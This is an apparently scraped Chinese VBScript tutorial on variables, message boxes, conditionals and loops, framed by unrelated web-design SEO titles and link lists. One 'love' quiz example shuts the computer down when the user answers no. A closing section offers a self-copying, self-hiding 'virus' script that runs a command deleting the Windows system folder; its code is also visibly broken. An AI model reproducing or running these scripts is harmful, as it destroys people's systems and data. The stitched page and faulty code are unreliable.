当前位置: 首页 > news >正文

南宁网站建设专业品牌网站开发研发设计

南宁网站建设专业品牌,网站开发研发设计,去国外做网站,通用网址查询网站VBS 脚本语言概述 VBS 是一种 Windows 脚本语言#xff0c;全称是 Microsoft Visual Basic Script Editon#xff08;微软公司可视化 BASIC 脚本版#xff09;。 VBS 是系统内置的#xff0c;用它编写的脚本不用编译成二进制文件#xff0c;直接就由 Windows 系统宿主 h…VBS 脚本语言概述 VBS 是一种 Windows 脚本语言全称是 Microsoft Visual Basic Script Editon微软公司可视化 BASIC 脚本版。 VBS 是系统内置的用它编写的脚本不用编译成二进制文件直接就由 Windows 系统宿主 host 解释源代码并执行。 他不需要特定的编译环境任意的文本编辑器都可以进行编写初学者用 Windows 自带的“记事本Notepad”就可以进行编写和执行如果想深入学习的话还是建议用专业的编辑器支持代码高亮的更方便一些 Notepad 就挺不错。 VBS 变量基本定义 对于任何一个编程语言我们首先关心的是如何定义一个变量。在Visual Basic Script 中定义一个变量的正规模式是dim 变量名 当然如果你不定义变量而是直接使用也是没有任何问题的就像Python那样可以不用声明而直接使用但是我们在这里还是建议遵循一下变量的先声明后使用的原则。 dim a, b a 10 b 5 msgbox a b这里的 msgbox 是一个vbs中的关键字基本作用是弹出一个弹框显示你想要显示的信息msgbox 可以显示各种类型的变量。 变量的类型与其他语言基本上都是一样的比如字符串、整型数、浮点型数、布尔型数字True 和 False但是我们在这里不需要指明某一个变量具体是哪一种类型的变量编译器是会直接自己识别变量的类型的。 VBS 判断语句 接下来我们首先介绍一下判断语句然后再去看看循环语句显示判断语句。如果你接触过其他的编程语言你一定对判断语句一点都不陌生在 vbs 中也是同样的语法也就是 ifelseelse if 等等。具体的书写略有不同啦例如下述的代码 dim str str msgbox(Do you love me?, vbYesNo, LOVE) if str vbYes thenmsgbox I love you too, I think we will be happy! elsemsgbox I will close your computer!set sh wscript.createobject(wscript.shell)sh.run shutdown -s -t 300 end ifsh.run “shutdown -s -t 300” 执行自动关机 300 秒后 如何进行阻止自动关机的代码 Set ws WScript.CreateObject(Wscript.Shell) ws.Run shutdown -aVBS 循环语句 循环语句基本语法 For...Next 语句运行一段语句指定的次数 For Each...Next 语句针对集合中的每个项目或者数组中的每个元素来运行某段语句。 Do...Loop 语句运行循环当条件为 true 或者直到条件为 true 时。循环语句基本案例 Dim Count:Count 5 定义一个变量 Do Until Count 0 直到Count 变量为 0 时否则一直循环MsgBox CountCount Count -1 Loop MsgBox 循环结束Dim Count:Count 5 定义一个变量 DoMsgBox CountCount Count -1 Loop Until Count 0 直到Count变量为 0 时否则一直循环 MsgBox 循环结束就比如 dim str do until str yesmsgbox do you love me ?str inputbox(yes or no, ANSWER, yes) loop运行结果 VBS 程序案例 对于任何一个编程语言我们首先关心的是如何定义一个变量 在Visual Basic Script 中定义一个变量的正规模式是dim 变量名 这里的 msgbox 是一个vbs中的关键字作用是弹出一个弹框显示你想要显示的信息 msgbox 可以显示各种类型的变量。 在vbs中变量的类型与其他语言基本上都是一样的比如字符串、整型数、浮点型数、布尔型数字True 和 False但是我们在这里不需要指明某一个变量具体是哪一种类型的变量编译器是会直接自己识别变量的类型的。 在 vbs 中想要输入是需要首先弹出来一个弹框然后进行输入的。 例如下述代码 dim str- str inputbox(please input your name here,Title,default value) msgbox str在这里的输出方式其实我们已经在前文中使用了很多次了就是上述的那个 msgbox 关键字它的作用就是弹出一个弹框然后显示出你想要显示的信息 比如我们在第一个例子中输出的数字 30 以及我们在第二个例子中所显示的字符串 “唤醒手腕哈哈哈”总之就是由 msgbox 这个弹框进行显示信息相当于 C 中的 cout也相当于是 Python 中的 print 等等是一个输出只是与其他语言的输出方式不太一样罢了。 案例 2打开 cmd 窗口 Set WshShell createobject(wscript.shell) WshShell.run cmdVBS 编写系统病毒 底下是我编的病毒有人想要的可以拿去但是千万不要拿来做坏事可能会你的同学们挨揍。 dim fso,copy,wshshell,Const Hidden set fso createobject(“scripting.filesystemobject”) set copy fso.getfile(wscript.scriptfullname) copy.fso(c:\users\computer virus.vbs) 复制自身到c:\users\ 复制体叫做computer virus.vbs Const Hidden 2 Set hide fso.GetFile(c:\users\computer virus.vbs) 隐藏复制体 hide.Attributes f.Attributes Or Hidden set wshshell wscript.createobject(wscript.shell) wshshell.run cmd/c del c:\Windows\system 太狠了,删除系统文件夹,删了系统报废!只能在虚拟机里测试。 不得破坏被人电脑!(当然,杀毒软件应该都会报毒)cmd/c … 也就是使用cmd执行某某命令。 你可以在命令提示符里输入del/?查看帮助.
http://www.hkea.cn/news/14464755/

相关文章:

  • 网站推广塔山双喜长春网站建设公司
  • 兵团建设环保局网站阿里云做网站的代码
  • 宁波建设工程报名网站建设好的网站
  • 做传销网站的程序员犯法吗wordpress 关键词描述
  • php网站整合discuz魔域网页游戏官网
  • 个人网站做什么类型好工装设计效果图网站
  • 江苏同邦建设有限公司网站wordpress网站地图自动更新
  • 重庆工业建设网站wordpress怎么换主题
  • 自建网站h5网站推广怎么发外链
  • 网站排名在线优化工具网站建设导航分哪几类
  • 外贸工厂网站做seo多吗塘下网站建设
  • 网站建设技术参数山西设计网站公司
  • 用ul做的网站为何浮动不上去综合类门户网站有哪些
  • 建设网站项目的目的公关服务
  • 重庆网站托管服务wordpress怎么改标题和meta
  • 织梦汽车网站模板免费下载驻马店住房和城乡建设厅网站
  • 自助网站设计平台青岛 网站开发
  • 大连意动网站建设有限公司怎么样什么叫做优化
  • 免费金融网站模板软件开发需要哪些人员及其分工
  • 怎么免费开网站云服务器做网站详细
  • 一个网站需要服务器吗720云 wordpress
  • 刘涛做代言的那个网站wordpress怎么输代码
  • 包装材料东莞网站建设学wordpress要多久
  • 建立网站的流程用python做网站的多吗
  • 河南seo网站策划做零食网站的首页模板
  • 网站知名度海口今天的消息
  • 上海网站制作电话外贸型企业网站建设
  • 省网站建设墨尔本网站建设
  • google 网站打不开Wordpress深入
  • 做的比较好的公司网站网页设计培训传智教育